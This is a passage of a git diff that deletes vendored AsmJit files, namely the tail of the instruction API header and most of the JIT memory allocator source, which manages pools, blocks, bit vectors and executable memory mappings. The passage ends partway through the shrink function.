provide memory operand combination or there is no extra - //! CPU feature required. - //! - //! X86 Specific - //! ------------ - //! - //! Some AVX+ instructions may require extra features for replacing registers - //! with memory operands, for example VPSLLDQ instruction only supports - //! 'reg/reg/imm' combination on AVX/AVX2 capable CPUs and requires AVX-512 for - //! 'reg/mem/imm' combination. - inline uint32_t rmFeature() const noexcept { return _rmFeature; } - - //! \} - - //! \name Operand Read/Write Information - //! \{ - - //! Returns RW information of extra register operand (extraReg). - inline const OpRWInfo& extraReg() const noexcept { return _extraReg; } - - //! Returns RW information of all instruction's operands. - inline const OpRWInfo* operands() const noexcept { return _operands; } - - //! Returns RW information of the operand at the given `index`. - inline const OpRWInfo& operand(size_t index) const noexcept { - ASMJIT_ASSERT(index < Globals::kMaxOpCount); - return _operands[index]; - } - - //! Returns the number of operands this instruction has. - inline uint32_t opCount() const noexcept { return _opCount; } - - //! \} -}; - -// ============================================================================ -// [asmjit::InstAPI] -// ============================================================================ - -//! Instruction API. -namespace InstAPI { - -//! Validation flags that can be used with \ref InstAPI::validate(). -enum ValidationFlags : uint32_t { - //! Allow virtual registers in the instruction. - kValidationFlagVirtRegs = 0x01u -}; - -#ifndef ASMJIT_NO_TEXT -//! Appends the name of the instruction specified by `instId` and `instOptions` -//! into the `output` string. -//! -//! \note Instruction options would only affect instruction prefix & suffix, -//! other options would be ignored. If `instOptions` is zero then only raw -//! instruction name (without any additional text) will be appended. -ASMJIT_API Error instIdToString(uint32_t arch, uint32_t instId, String& output) noexcept; - -//! Parses an instruction name in the given string `s`. Length is specified -//! by `len` argument, which can be `SIZE_MAX` if `s` is known to be null -//! terminated. -//! -//! Returns the parsed instruction id or \ref BaseInst::kIdNone if no such -//! instruction exists. -ASMJIT_API uint32_t stringToInstId(uint32_t arch, const char* s, size_t len) noexcept; -#endif // !ASMJIT_NO_TEXT - -#ifndef ASMJIT_NO_VALIDATION -//! Validates the given instruction considering the validation `flags`, see -//! \ref ValidationFlags. -ASMJIT_API Error validate(uint32_t arch, const BaseInst& inst, const Operand_* operands, size_t opCount, uint32_t validationFlags = 0) noexcept; -#endif // !ASMJIT_NO_VALIDATION - -#ifndef ASMJIT_NO_INTROSPECTION -//! Gets Read/Write information of the given instruction. -ASMJIT_API Error queryRWInfo(uint32_t arch, const BaseInst& inst, const Operand_* operands, size_t opCount, InstRWInfo* out) noexcept; - -//! Gets CPU features required by the given instruction. -ASMJIT_API Error queryFeatures(uint32_t arch, const BaseInst& inst, const Operand_* operands, size_t opCount, BaseFeatures* out) noexcept; -#endif // !ASMJIT_NO_INTROSPECTION - -} // {InstAPI} - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_INST_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/jitallocator.cpp b/src/Theodosius/asmjit/core/jitallocator.cpp deleted file mode 100644 index b576e21..0000000 --- a/src/Theodosius/asmjit/core/jitallocator.cpp +++ /dev/null @@ -1,1246 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#ifndef ASMJIT_NO_JIT - -#include "../core/archtraits.h" -#include "../core/jitallocator.h" -#include "../core/osutils_p.h" -#include "../core/support.h" -#include "../core/virtmem.h" -#include "../core/zone.h" -#include "../core/zonelist.h" -#include "../core/zonetree.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::JitAllocator - Constants] -// ============================================================================ - -enum JitAllocatorConstants : uint32_t { - //! Number of pools to use when `JitAllocator::kOptionUseMultiplePools` is set. - //! - //! Each pool increases granularity twice to make memory management more - //! efficient. Ideal number of pools appears to be 3 to 4 as it distributes - //! small and large functions properly. - kJitAllocatorMultiPoolCount = 3, - - //! Minimum granularity (and the default granularity for pool #0). - kJitAllocatorBaseGranularity = 64, - - //! Maximum block size (32MB). - kJitAllocatorMaxBlockSize = 1024 * 1024 * 32 -}; - -static inline uint32_t JitAllocator_defaultFillPattern() noexcept { - // X86 and X86_64 - 4x 'int3' instruction. - if (ASMJIT_ARCH_X86) - return 0xCCCCCCCCu; - - // Unknown... - return 0u; -} - -// ============================================================================ -// [asmjit::BitVectorRangeIterator] -// ============================================================================ - -template -class BitVectorRangeIterator { -public: - const T* _ptr; - size_t _idx; - size_t _end; - T _bitWord; - - enum : uint32_t { kBitWordSize = Support::bitSizeOf() }; - enum : T { kXorMask = B == 0 ? Support::allOnes() : T(0) }; - - ASMJIT_INLINE BitVectorRangeIterator(const T* data, size_t numBitWords) noexcept { - init(data, numBitWords); - } - - ASMJIT_INLINE BitVectorRangeIterator(const T* data, size_t numBitWords, size_t start, size_t end) noexcept { - init(data, numBitWords, start, end); - } - - ASMJIT_INLINE void init(const T* data, size_t numBitWords) noexcept { - init(data, numBitWords, 0, numBitWords * kBitWordSize); - } - - ASMJIT_INLINE void init(const T* data, size_t numBitWords, size_t start, size_t end) noexcept { - ASMJIT_ASSERT(numBitWords >= (end + kBitWordSize - 1) / kBitWordSize); - DebugUtils::unused(numBitWords); - - size_t idx = Support::alignDown(start, kBitWordSize); - const T* ptr = data + (idx / kBitWordSize); - - T bitWord = 0; - if (idx < end) - bitWord = (*ptr ^ kXorMask) & (Support::allOnes() << (start % kBitWordSize)); - - _ptr = ptr; - _idx = idx; - _end = end; - _bitWord = bitWord; - } - - ASMJIT_INLINE bool nextRange(size_t* rangeStart, size_t* rangeEnd, size_t rangeHint = std::numeric_limits::max()) noexcept { - // Skip all empty BitWords. - while (_bitWord == 0) { - _idx += kBitWordSize; - if (_idx >= _end) - return false; - _bitWord = (*++_ptr) ^ kXorMask; - } - - size_t i = Support::ctz(_bitWord); - - *rangeStart = _idx + i; - _bitWord = ~(_bitWord ^ ~(Support::allOnes() << i)); - - if (_bitWord == 0) { - *rangeEnd = Support::min(_idx + kBitWordSize, _end); - while (*rangeEnd - *rangeStart < rangeHint) { - _idx += kBitWordSize; - if (_idx >= _end) - break; - - _bitWord = (*++_ptr) ^ kXorMask; - if (_bitWord != Support::allOnes()) { - size_t j = Support::ctz(~_bitWord); - *rangeEnd = Support::min(_idx + j, _end); - _bitWord = _bitWord ^ ~(Support::allOnes() << j); - break; - } - - *rangeEnd = Support::min(_idx + kBitWordSize, _end); - _bitWord = 0; - continue; - } - - return true; - } - else { - size_t j = Support::ctz(_bitWord); - *rangeEnd = Support::min(_idx + j, _end); - - _bitWord = ~(_bitWord ^ ~(Support::allOnes() << j)); - return true; - } - } -}; - -// ============================================================================ -// [asmjit::JitAllocator - Pool] -// ============================================================================ - -class JitAllocatorBlock; - -class JitAllocatorPool { -public: - ASMJIT_NONCOPYABLE(JitAllocatorPool) - - inline JitAllocatorPool(uint32_t granularity) noexcept - : blocks(), - cursor(nullptr), - blockCount(0), - granularity(uint16_t(granularity)), - granularityLog2(uint8_t(Support::ctz(granularity))), - emptyBlockCount(0), - totalAreaSize(0), - totalAreaUsed(0), - totalOverheadBytes(0) {} - - inline void reset() noexcept { - blocks.reset(); - cursor = nullptr; - blockCount = 0; - totalAreaSize = 0; - totalAreaUsed = 0; - totalOverheadBytes = 0; - } - - inline size_t byteSizeFromAreaSize(uint32_t areaSize) const noexcept { return size_t(areaSize) * granularity; } - inline uint32_t areaSizeFromByteSize(size_t size) const noexcept { return uint32_t((size + granularity - 1) >> granularityLog2); } - - inline size_t bitWordCountFromAreaSize(uint32_t areaSize) const noexcept { - using namespace Support; - return alignUp(areaSize, kBitWordSizeInBits) / kBitWordSizeInBits; - } - - //! Double linked list of blocks. - ZoneList blocks; - //! Where to start looking first. - JitAllocatorBlock* cursor; - - //! Count of blocks. - uint32_t blockCount; - //! Allocation granularity. - uint16_t granularity; - //! Log2(granularity). - uint8_t granularityLog2; - //! Count of empty blocks (either 0 or 1 as we won't keep more blocks empty). - uint8_t emptyBlockCount; - - //! Number of bits reserved across all blocks. - size_t totalAreaSize; - //! Number of bits used across all blocks. - size_t totalAreaUsed; - //! Overhead of all blocks (in bytes). - size_t totalOverheadBytes; -}; - -// ============================================================================ -// [asmjit::JitAllocator - Block] -// ============================================================================ - -class JitAllocatorBlock : public ZoneTreeNodeT, - public ZoneListNode { -public: - ASMJIT_NONCOPYABLE(JitAllocatorBlock) - - enum Flags : uint32_t { - //! Block is empty. - kFlagEmpty = 0x00000001u, - //! Block is dirty (largestUnusedArea, searchStart, searchEnd). - kFlagDirty = 0x00000002u, - //! Block is dual-mapped. - kFlagDualMapped = 0x00000004u - }; - - //! Link to the pool that owns this block. - JitAllocatorPool* _pool; - //! Virtual memory mapping - either single mapping (both pointers equal) or - //! dual mapping, where one pointer is Read+Execute and the second Read+Write. - VirtMem::DualMapping _mapping; - //! Virtual memory size (block size) [bytes]. - size_t _blockSize; - - //! Block flags. - uint32_t _flags; - //! Size of the whole block area (bit-vector size). - uint32_t _areaSize; - //! Used area (number of bits in bit-vector used). - uint32_t _areaUsed; - //! The largest unused continuous area in the bit-vector (or `areaSize` to initiate rescan). - uint32_t _largestUnusedArea; - //! Start of a search range (for unused bits). - uint32_t _searchStart; - //! End of a search range (for unused bits). - uint32_t _searchEnd; - - //! Used bit-vector (0 = unused, 1 = used). - Support::BitWord* _usedBitVector; - //! Stop bit-vector (0 = don't care, 1 = stop). - Support::BitWord* _stopBitVector; - - inline JitAllocatorBlock( - JitAllocatorPool* pool, - VirtMem::DualMapping mapping, - size_t blockSize, - uint32_t blockFlags, - Support::BitWord* usedBitVector, - Support::BitWord* stopBitVector, - uint32_t areaSize) noexcept - : ZoneTreeNodeT(), - _pool(pool), - _mapping(mapping), - _blockSize(blockSize), - _flags(blockFlags), - _areaSize(areaSize), - _areaUsed(0), - _largestUnusedArea(areaSize), - _searchStart(0), - _searchEnd(areaSize), - _usedBitVector(usedBitVector), - _stopBitVector(stopBitVector) {} - - inline JitAllocatorPool* pool() const noexcept { return _pool; } - - inline uint8_t* roPtr() const noexcept { return static_cast(_mapping.ro); } - inline uint8_t* rwPtr() const noexcept { return static_cast(_mapping.rw); } - - inline bool hasFlag(uint32_t f) const noexcept { return (_flags & f) != 0; } - inline void addFlags(uint32_t f) noexcept { _flags |= f; } - inline void clearFlags(uint32_t f) noexcept { _flags &= ~f; } - - inline bool isDirty() const noexcept { return hasFlag(kFlagDirty); } - inline void makeDirty() noexcept { addFlags(kFlagDirty); } - - inline size_t blockSize() const noexcept { return _blockSize; } - - inline uint32_t areaSize() const noexcept { return _areaSize; } - inline uint32_t areaUsed() const noexcept { return _areaUsed; } - inline uint32_t areaAvailable() const noexcept { return _areaSize - _areaUsed; } - inline uint32_t largestUnusedArea() const noexcept { return _largestUnusedArea; } - - inline void decreaseUsedArea(uint32_t value) noexcept { - _areaUsed -= value; - _pool->totalAreaUsed -= value; - } - - inline void markAllocatedArea(uint32_t allocatedAreaStart, uint32_t allocatedAreaEnd) noexcept { - uint32_t allocatedAreaSize = allocatedAreaEnd - allocatedAreaStart; - - // Mark the newly allocated space as occupied and also the sentinel. - Support::bitVectorFill(_usedBitVector, allocatedAreaStart, allocatedAreaSize); - Support::bitVectorSetBit(_stopBitVector, allocatedAreaEnd - 1, true); - - // Update search region and statistics. - _pool->totalAreaUsed += allocatedAreaSize; - _areaUsed += allocatedAreaSize; - - if (areaAvailable() == 0) { - _searchStart = _areaSize; - _searchEnd = 0; - _largestUnusedArea = 0; - clearFlags(kFlagDirty); - } - else { - if (_searchStart == allocatedAreaStart) - _searchStart = allocatedAreaEnd; - if (_searchEnd == allocatedAreaEnd) - _searchEnd = allocatedAreaStart; - addFlags(kFlagDirty); - } - } - - inline void markReleasedArea(uint32_t releasedAreaStart, uint32_t releasedAreaEnd) noexcept { - uint32_t releasedAreaSize = releasedAreaEnd - releasedAreaStart; - - // Update the search region and statistics. - _pool->totalAreaUsed -= releasedAreaSize; - _areaUsed -= releasedAreaSize; - _searchStart = Support::min(_searchStart, releasedAreaStart); - _searchEnd = Support::max(_searchEnd, releasedAreaEnd); - - // Unmark occupied bits and also the sentinel. - Support::bitVectorClear(_usedBitVector, releasedAreaStart, releasedAreaSize); - Support::bitVectorSetBit(_stopBitVector, releasedAreaEnd - 1, false); - - if (areaUsed() == 0) { - _searchStart = 0; - _searchEnd = _areaSize; - _largestUnusedArea = _areaSize; - addFlags(kFlagEmpty); - clearFlags(kFlagDirty); - } - else { - addFlags(kFlagDirty); - } - } - - inline void markShrunkArea(uint32_t shrunkAreaStart, uint32_t shrunkAreaEnd) noexcept { - uint32_t shrunkAreaSize = shrunkAreaEnd - shrunkAreaStart; - - // Shrunk area cannot start at zero as it would mean that we have shrunk the first - // block to zero bytes, which is not allowed as such block must be released instead. - ASMJIT_ASSERT(shrunkAreaStart != 0); - ASMJIT_ASSERT(shrunkAreaSize != 0); - - // Update the search region and statistics. - _pool->totalAreaUsed -= shrunkAreaSize; - _areaUsed -= shrunkAreaSize; - _searchStart = Support::min(_searchStart, shrunkAreaStart); - _searchEnd = Support::max(_searchEnd, shrunkAreaEnd); - - // Unmark the released space and move the sentinel. - Support::bitVectorClear(_usedBitVector, shrunkAreaStart, shrunkAreaSize); - Support::bitVectorSetBit(_stopBitVector, shrunkAreaEnd - 1, false); - Support::bitVectorSetBit(_stopBitVector, shrunkAreaStart - 1, true); - - addFlags(kFlagDirty); - } - - // RBTree default CMP uses '<' and '>' operators. - inline bool operator<(const JitAllocatorBlock& other) const noexcept { return roPtr() < other.roPtr(); } - inline bool operator>(const JitAllocatorBlock& other) const noexcept { return roPtr() > other.roPtr(); } - - // Special implementation for querying blocks by `key`, which must be in `[BlockPtr, BlockPtr + BlockSize)` range. - inline bool operator<(const uint8_t* key) const noexcept { return roPtr() + _blockSize <= key; } - inline bool operator>(const uint8_t* key) const noexcept { return roPtr() > key; } -}; - -// ============================================================================ -// [asmjit::JitAllocator - PrivateImpl] -// ============================================================================ - -class JitAllocatorPrivateImpl : public JitAllocator::Impl { -public: - inline JitAllocatorPrivateImpl(JitAllocatorPool* pools, size_t poolCount) noexcept - : JitAllocator::Impl {}, - pools(pools), - poolCount(poolCount) {} - inline ~JitAllocatorPrivateImpl() noexcept {} - - //! Lock for thread safety. - mutable Lock lock; - //! System page size (also a minimum block size). - uint32_t pageSize; - - //! Blocks from all pools in RBTree. - ZoneTree tree; - //! Allocator pools. - JitAllocatorPool* pools; - //! Number of allocator pools. - size_t poolCount; -}; - -static const JitAllocator::Impl JitAllocatorImpl_none {}; -static const JitAllocator::CreateParams JitAllocatorParams_none {}; - -// ============================================================================ -// [asmjit::JitAllocator - Utilities] -// ============================================================================ - -static inline JitAllocatorPrivateImpl* JitAllocatorImpl_new(const JitAllocator::CreateParams* params) noexcept { - VirtMem::Info vmInfo = VirtMem::info(); - - if (!params) - params = &JitAllocatorParams_none; - - uint32_t options = params->options; - uint32_t blockSize = params->blockSize; - uint32_t granularity = params->granularity; - uint32_t fillPattern = params->fillPattern; - - // Setup pool count to [1..3]. - size_t poolCount = 1; - if (options & JitAllocator::kOptionUseMultiplePools) - poolCount = kJitAllocatorMultiPoolCount;; - - // Setup block size [64kB..256MB]. - if (blockSize < 64 * 1024 || blockSize > 256 * 1024 * 1024 || !Support::isPowerOf2(blockSize)) - blockSize = vmInfo.pageGranularity; - - // Setup granularity [64..256]. - if (granularity < 64 || granularity > 256 || !Support::isPowerOf2(granularity)) - granularity = kJitAllocatorBaseGranularity; - - // Setup fill-pattern. - if (!(options & JitAllocator::kOptionCustomFillPattern)) - fillPattern = JitAllocator_defaultFillPattern(); - - size_t size = sizeof(JitAllocatorPrivateImpl) + sizeof(JitAllocatorPool) * poolCount; - void* p = ::malloc(size); - if (ASMJIT_UNLIKELY(!p)) - return nullptr; - - JitAllocatorPool* pools = reinterpret_cast((uint8_t*)p + sizeof(JitAllocatorPrivateImpl)); - JitAllocatorPrivateImpl* impl = new(p) JitAllocatorPrivateImpl(pools, poolCount); - - impl->options = options; - impl->blockSize = blockSize; - impl->granularity = granularity; - impl->fillPattern = fillPattern; - impl->pageSize = vmInfo.pageSize; - - for (size_t poolId = 0; poolId < poolCount; poolId++) - new(&pools[poolId]) JitAllocatorPool(granularity << poolId); - - return impl; -} - -static inline void JitAllocatorImpl_destroy(JitAllocatorPrivateImpl* impl) noexcept { - impl->~JitAllocatorPrivateImpl(); - ::free(impl); -} - -static inline size_t JitAllocatorImpl_sizeToPoolId(const JitAllocatorPrivateImpl* impl, size_t size) noexcept { - size_t poolId = impl->poolCount - 1; - size_t granularity = size_t(impl->granularity) << poolId; - - while (poolId) { - if (Support::alignUp(size, granularity) == size) - break; - poolId--; - granularity >>= 1; - } - - return poolId; -} - -static inline size_t JitAllocatorImpl_bitVectorSizeToByteSize(uint32_t areaSize) noexcept { - using Support::kBitWordSizeInBits; - return ((areaSize + kBitWordSizeInBits - 1u) / kBitWordSizeInBits) * sizeof(Support::BitWord); -} - -static inline size_t JitAllocatorImpl_calculateIdealBlockSize(JitAllocatorPrivateImpl* impl, JitAllocatorPool* pool, size_t allocationSize) noexcept { - JitAllocatorBlock* last = pool->blocks.last(); - size_t blockSize = last ? last->blockSize() : size_t(impl->blockSize); - - if (blockSize < kJitAllocatorMaxBlockSize) - blockSize *= 2u; - - if (allocationSize > blockSize) { - blockSize = Support::alignUp(allocationSize, impl->blockSize); - if (ASMJIT_UNLIKELY(blockSize < allocationSize)) - return 0; // Overflown. - } - - return blockSize; -} - -ASMJIT_FAVOR_SPEED static void JitAllocatorImpl_fillPattern(void* mem, uint32_t pattern, size_t sizeInBytes) noexcept { - size_t n = sizeInBytes / 4u; - uint32_t* p = static_cast(mem); - - for (size_t i = 0; i < n; i++) - p[i] = pattern; -} - -// Allocate a new `JitAllocatorBlock` for the given `blockSize`. -// -// NOTE: The block doesn't have `kFlagEmpty` flag set, because the new block -// is only allocated when it's actually needed, so it would be cleared anyway. -static JitAllocatorBlock* JitAllocatorImpl_newBlock(JitAllocatorPrivateImpl* impl, JitAllocatorPool* pool, size_t blockSize) noexcept { - using Support::BitWord; - using Support::kBitWordSizeInBits; - - uint32_t areaSize = uint32_t((blockSize + pool->granularity - 1) >> pool->granularityLog2); - uint32_t numBitWords = (areaSize + kBitWordSizeInBits - 1u) / kBitWordSizeInBits; - - JitAllocatorBlock* block = static_cast(::malloc(sizeof(JitAllocatorBlock))); - BitWord* bitWords = nullptr; - VirtMem::DualMapping virtMem {}; - Error err = kErrorOutOfMemory; - - if (block != nullptr) - bitWords = static_cast(::malloc(size_t(numBitWords) * 2 * sizeof(BitWord))); - - uint32_t blockFlags = 0; - if (bitWords != nullptr) { - if (impl->options & JitAllocator::kOptionUseDualMapping) { - err = VirtMem::allocDualMapping(&virtMem, blockSize, VirtMem::kAccessRWX); - blockFlags |= JitAllocatorBlock::kFlagDualMapped; - } - else { - err = VirtMem::alloc(&virtMem.ro, blockSize, VirtMem::kAccessRWX); - virtMem.rw = virtMem.ro; - } - } - - // Out of memory. - if (ASMJIT_UNLIKELY(!block || !bitWords || err != kErrorOk)) { - if (bitWords) ::free(bitWords); - if (block) ::free(block); - return nullptr; - } - - // Fill the memory if the secure mode is enabled. - if (impl->options & JitAllocator::kOptionFillUnusedMemory) - JitAllocatorImpl_fillPattern(virtMem.rw, impl->fillPattern, blockSize); - - memset(bitWords, 0, size_t(numBitWords) * 2 * sizeof(BitWord)); - return new(block) JitAllocatorBlock(pool, virtMem, blockSize, blockFlags, bitWords, bitWords + numBitWords, areaSize); -} - -static void JitAllocatorImpl_deleteBlock(JitAllocatorPrivateImpl* impl, JitAllocatorBlock* block) noexcept { - DebugUtils::unused(impl); - - if (block->hasFlag(JitAllocatorBlock::kFlagDualMapped)) - VirtMem::releaseDualMapping(&block->_mapping, block->blockSize()); - else - VirtMem::release(block->roPtr(), block->blockSize()); - - ::free(block->_usedBitVector); - ::free(block); -} - -static void JitAllocatorImpl_insertBlock(JitAllocatorPrivateImpl* impl, JitAllocatorBlock* block) noexcept { - JitAllocatorPool* pool = block->pool(); - - if (!pool->cursor) - pool->cursor = block; - - // Add to RBTree and List. - impl->tree.insert(block); - pool->blocks.append(block); - - // Update statistics. - pool->blockCount++; - pool->totalAreaSize += block->areaSize(); - pool->totalOverheadBytes += sizeof(JitAllocatorBlock) + JitAllocatorImpl_bitVectorSizeToByteSize(block->areaSize()) * 2u; -} - -static void JitAllocatorImpl_removeBlock(JitAllocatorPrivateImpl* impl, JitAllocatorBlock* block) noexcept { - JitAllocatorPool* pool = block->pool(); - - // Remove from RBTree and List. - if (pool->cursor == block) - pool->cursor = block->hasPrev() ? block->prev() : block->next(); - - impl->tree.remove(block); - pool->blocks.unlink(block); - - // Update statistics. - pool->blockCount--; - pool->totalAreaSize -= block->areaSize(); - pool->totalOverheadBytes -= sizeof(JitAllocatorBlock) + JitAllocatorImpl_bitVectorSizeToByteSize(block->areaSize()) * 2u; -} - -static void JitAllocatorImpl_wipeOutBlock(JitAllocatorPrivateImpl* impl, JitAllocatorBlock* block) noexcept { - JitAllocatorPool* pool = block->pool(); - - if (block->hasFlag(JitAllocatorBlock::kFlagEmpty)) - return; - - uint32_t areaSize = block->areaSize(); - uint32_t granularity = pool->granularity; - size_t numBitWords = pool->bitWordCountFromAreaSize(areaSize); - - if (impl->options & JitAllocator::kOptionFillUnusedMemory) { - uint8_t* rwPtr = block->rwPtr(); - for (size_t i = 0; i < numBitWords; i++) { - Support::BitWordIterator it(block->_usedBitVector[i]); - while (it.hasNext()) { - size_t index = it.next(); - JitAllocatorImpl_fillPattern(rwPtr + index * granularity , impl->fillPattern, granularity); - } - rwPtr += Support::bitSizeOf() * granularity; - } - } - - memset(block->_usedBitVector, 0, size_t(numBitWords) * sizeof(Support::BitWord)); - memset(block->_stopBitVector, 0, size_t(numBitWords) * sizeof(Support::BitWord)); - - block->_areaUsed = 0; - block->_largestUnusedArea = areaSize; - block->_searchStart = 0; - block->_searchEnd = areaSize; - block->addFlags(JitAllocatorBlock::kFlagEmpty); - block->clearFlags(JitAllocatorBlock::kFlagDirty); -} - -// ============================================================================ -// [asmjit::JitAllocator - Construction / Destruction] -// ============================================================================ - -JitAllocator::JitAllocator(const CreateParams* params) noexcept { - _impl = JitAllocatorImpl_new(params); - if (ASMJIT_UNLIKELY(!_impl)) - _impl = const_cast(&JitAllocatorImpl_none); -} - -JitAllocator::~JitAllocator() noexcept { - if (_impl == &JitAllocatorImpl_none) - return; - - reset(Globals::kResetHard); - JitAllocatorImpl_destroy(static_cast(_impl)); -} - -// ============================================================================ -// [asmjit::JitAllocator - Reset] -// ============================================================================ - -void JitAllocator::reset(uint32_t resetPolicy) noexcept { - if (_impl == &JitAllocatorImpl_none) - return; - - JitAllocatorPrivateImpl* impl = static_cast(_impl); - impl->tree.reset(); - size_t poolCount = impl->poolCount; - - for (size_t poolId = 0; poolId < poolCount; poolId++) { - JitAllocatorPool& pool = impl->pools[poolId]; - JitAllocatorBlock* block = pool.blocks.first(); - - JitAllocatorBlock* blockToKeep = nullptr; - if (resetPolicy != Globals::kResetHard && !(impl->options & kOptionImmediateRelease)) { - blockToKeep = block; - block = block->next(); - } - - while (block) { - JitAllocatorBlock* next = block->next(); - JitAllocatorImpl_deleteBlock(impl, block); - block = next; - } - - pool.reset(); - - if (blockToKeep) { - blockToKeep->_listNodes[0] = nullptr; - blockToKeep->_listNodes[1] = nullptr; - JitAllocatorImpl_wipeOutBlock(impl, blockToKeep); - JitAllocatorImpl_insertBlock(impl, blockToKeep); - pool.emptyBlockCount = 1; - } - } -} - -// ============================================================================ -// [asmjit::JitAllocator - Statistics] -// ============================================================================ - -JitAllocator::Statistics JitAllocator::statistics() const noexcept { - Statistics statistics; - statistics.reset(); - - if (ASMJIT_LIKELY(_impl != &JitAllocatorImpl_none)) { - JitAllocatorPrivateImpl* impl = static_cast(_impl); - LockGuard guard(impl->lock); - - size_t poolCount = impl->poolCount; - for (size_t poolId = 0; poolId < poolCount; poolId++) { - const JitAllocatorPool& pool = impl->pools[poolId]; - statistics._blockCount += size_t(pool.blockCount); - statistics._reservedSize += size_t(pool.totalAreaSize) * pool.granularity; - statistics._usedSize += size_t(pool.totalAreaUsed) * pool.granularity; - statistics._overheadSize += size_t(pool.totalOverheadBytes); - } - } - - return statistics; -} - -// ============================================================================ -// [asmjit::JitAllocator - Alloc / Release] -// ============================================================================ - -Error JitAllocator::alloc(void** roPtrOut, void** rwPtrOut, size_t size) noexcept { - if (ASMJIT_UNLIKELY(_impl == &JitAllocatorImpl_none)) - return DebugUtils::errored(kErrorNotInitialized); - - JitAllocatorPrivateImpl* impl = static_cast(_impl); - constexpr uint32_t kNoIndex = std::numeric_limits::max(); - - *roPtrOut = nullptr; - *rwPtrOut = nullptr; - - // Align to the minimum granularity by default. - size = Support::alignUp(size, impl->granularity); - if (ASMJIT_UNLIKELY(size == 0)) - return DebugUtils::errored(kErrorInvalidArgument); - - if (ASMJIT_UNLIKELY(size > std::numeric_limits::max() / 2)) - return DebugUtils::errored(kErrorTooLarge); - - LockGuard guard(impl->lock); - JitAllocatorPool* pool = &impl->pools[JitAllocatorImpl_sizeToPoolId(impl, size)]; - - uint32_t areaIndex = kNoIndex; - uint32_t areaSize = uint32_t(pool->areaSizeFromByteSize(size)); - - // Try to find the requested memory area in existing blocks. - JitAllocatorBlock* block = pool->blocks.first(); - if (block) { - JitAllocatorBlock* initial = block; - do { - JitAllocatorBlock* next = block->hasNext() ? block->next() : pool->blocks.first(); - if (block->areaAvailable() >= areaSize) { - if (block->isDirty() || block->largestUnusedArea() >= areaSize) { - BitVectorRangeIterator it(block->_usedBitVector, pool->bitWordCountFromAreaSize(block->areaSize()), block->_searchStart, block->_searchEnd); - - size_t rangeStart = 0; - size_t rangeEnd = block->areaSize(); - - size_t searchStart = SIZE_MAX; - size_t largestArea = 0; - - while (it.nextRange(&rangeStart, &rangeEnd, areaSize)) { - size_t rangeSize = rangeEnd - rangeStart; - if (rangeSize >= areaSize) { - areaIndex = uint32_t(rangeStart); - break; - } - - searchStart = Support::min(searchStart, rangeStart); - largestArea = Support::max(largestArea, rangeSize); - } - - if (areaIndex != kNoIndex) - break; - - if (searchStart != SIZE_MAX) { - // Because we have iterated over the entire block, we can now mark the - // largest unused area that can be used to cache the next traversal. - size_t searchEnd = rangeEnd; - - block->_searchStart = uint32_t(searchStart); - block->_searchEnd = uint32_t(searchEnd); - block->_largestUnusedArea = uint32_t(largestArea); - block->clearFlags(JitAllocatorBlock::kFlagDirty); - } - } - } - - block = next; - } while (block != initial); - } - - // Allocate a new block if there is no region of a required width. - if (areaIndex == kNoIndex) { - size_t blockSize = JitAllocatorImpl_calculateIdealBlockSize(impl, pool, size); - if (ASMJIT_UNLIKELY(!blockSize)) - return DebugUtils::errored(kErrorOutOfMemory); - - block = JitAllocatorImpl_newBlock(impl, pool, blockSize); - areaIndex = 0; - - if (ASMJIT_UNLIKELY(!block)) - return DebugUtils::errored(kErrorOutOfMemory); - - JitAllocatorImpl_insertBlock(impl, block); - block->_searchStart = areaSize; - block->_largestUnusedArea = block->areaSize() - areaSize; - } - else if (block->hasFlag(JitAllocatorBlock::kFlagEmpty)) { - pool->emptyBlockCount--; - block->clearFlags(JitAllocatorBlock::kFlagEmpty); - } - - // Update statistics. - block->markAllocatedArea(areaIndex, areaIndex + areaSize); - - // Return a pointer to the allocated memory. - size_t offset = pool->byteSizeFromAreaSize(areaIndex); - ASMJIT_ASSERT(offset <= block->blockSize() - size); - - *roPtrOut = block->roPtr() + offset; - *rwPtrOut = block->rwPtr() + offset; - return kErrorOk; -} - -Error JitAllocator::release(void* roPtr) noexcept { - if (ASMJIT_UNLIKELY(_impl == &JitAllocatorImpl_none)) - return DebugUtils::errored(kErrorNotInitialized); - - if (ASMJIT_UNLIKELY(!roPtr)) - return DebugUtils::errored(kErrorInvalidArgument); - - JitAllocatorPrivateImpl* impl = static_cast(_impl); - LockGuard guard(impl->lock); - - JitAllocatorBlock* block = impl->tree.get(static_cast(roPtr)); - if (ASMJIT_UNLIKELY(!block)) - return DebugUtils::errored(kErrorInvalidState); - - // Offset relative to the start of the block. - JitAllocatorPool* pool = block->pool(); - size_t offset = (size_t)((uint8_t*)roPtr - block->roPtr()); - - // The first bit representing the allocated area and its size. - uint32_t areaIndex = uint32_t(offset >> pool->granularityLog2); - uint32_t areaEnd = uint32_t(Support::bitVectorIndexOf(block->_stopBitVector, areaIndex, true)) + 1; - uint32_t areaSize = areaEnd - areaIndex; - - block->markReleasedArea(areaIndex, areaEnd); - - // Fill the released memory if the secure mode is enabled. - if (impl->options & kOptionFillUnusedMemory) - JitAllocatorImpl_fillPattern(block->rwPtr() + areaIndex * pool->granularity, impl->fillPattern, areaSize * pool->granularity); - - // Release the whole block if it became empty. - if (block->areaUsed() == 0) { - if (pool->emptyBlockCount || (impl->options & kOptionImmediateRelease)) { - JitAllocatorImpl_removeBlock(impl, block); - JitAllocatorImpl_deleteBlock(impl, block); - } - else { - pool->emptyBlockCount++; - } - } - - return kErrorOk; -} - -Error JitAllocator::shrink(void* roPtr, size_t newSize) noexcept { - if (ASMJIT_UNLIKELY(_impl == &JitAllocatorImpl_none)) - return DebugUtils::errored(kErrorNotInitialized); - - if (ASMJIT_UNLIKELY(!roPtr)) - return 